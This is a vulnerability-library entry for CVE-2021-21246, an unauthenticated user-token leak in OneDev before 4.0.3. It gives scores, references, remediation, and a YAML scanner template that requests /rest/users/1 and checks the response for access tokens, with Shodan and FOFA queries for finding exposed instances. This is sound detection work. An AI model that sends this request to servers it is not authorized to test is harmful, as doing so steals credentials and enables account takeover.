/Vulnerability Library

OneDev < 4.0.3 - User Access Token Leak

CVE-2021-21246
Verified

Description

OneDev before version 4.0.3 contains an insecure endpoint that allows retrieval of arbitrary user details, including access tokens, due to missing security checks on /users/{id}, letting attackers leak sensitive data and impersonate users, exploit requires no special conditions.

Severity

High

CVSS Score

8.6

Exploit Probability

49%

Affected Product

onedev

Published Date

January 23, 2026

Template Author

dhiyaneshdk

CVE-2021-21246.yaml
id: CVE-2021-21246

info:
  name: OneDev < 4.0.3 - User Access Token Leak
  author: DhiyaneshDk
  severity: high
  description: |
    OneDev before version 4.0.3 contains an insecure endpoint that allows retrieval of arbitrary user details, including access tokens, due to missing security checks on /users/{id}, letting attackers leak sensitive data and impersonate users, exploit requires no special conditions.
  impact: |
    Attackers can access sensitive user data and tokens, leading to impersonation, data leaks, and potential full account compromise.
  remediation: |
    Update to version 4.0.3 or later where user info is removed from the REST API.
  reference:
    - https://github.com/theonedev/onedev/security/advisories/GHSA-66v7-gg85-f4gx
    - https://github.com/theonedev/onedev/commit/a4491e5f79dc6cc96eac20972eedc8905ddf6089
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21246
    - https://securitylab.github.com/advisories/GHSL-2020-214_223-onedev/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-21246
    cwe-id: CWE-862
    epss-score: 0.49051
    epss-percentile: 0.98732
  metadata:
    verified: true
    max-request: 1
    vendor: onedev_project
    product: onedev
    shodan-query: title:"OneDev"
    fofa-query: title="OneDev"
  tags: cve,cve2021,onedev,auth-bypass,token-leak

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/users/1"

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"accessToken"'
          - '"email"'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f823d70d68c12bbec2d6a8e301fac95f08be09294cb09b988b7387ef2a76ef9502207d5bf659916bc729f24a8d0ecc227673a18ffda71a94b490f547e62731667135:922c64590222798bb761d5b6d8e72950
8.6Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CVE ID:
cve-2021-21246
CWE ID:
cwe-862

References

https://github.com/theonedev/onedev/security/advisories/GHSA-66v7-gg85-f4gxhttps://github.com/theonedev/onedev/commit/a4491e5f79dc6cc96eac20972eedc8905ddf6089https://nvd.nist.gov/vuln/detail/CVE-2021-21246https://securitylab.github.com/advisories/GHSL-2020-214_223-onedev/

Remediation Steps

Update to version 4.0.3 or later where user info is removed from the REST API.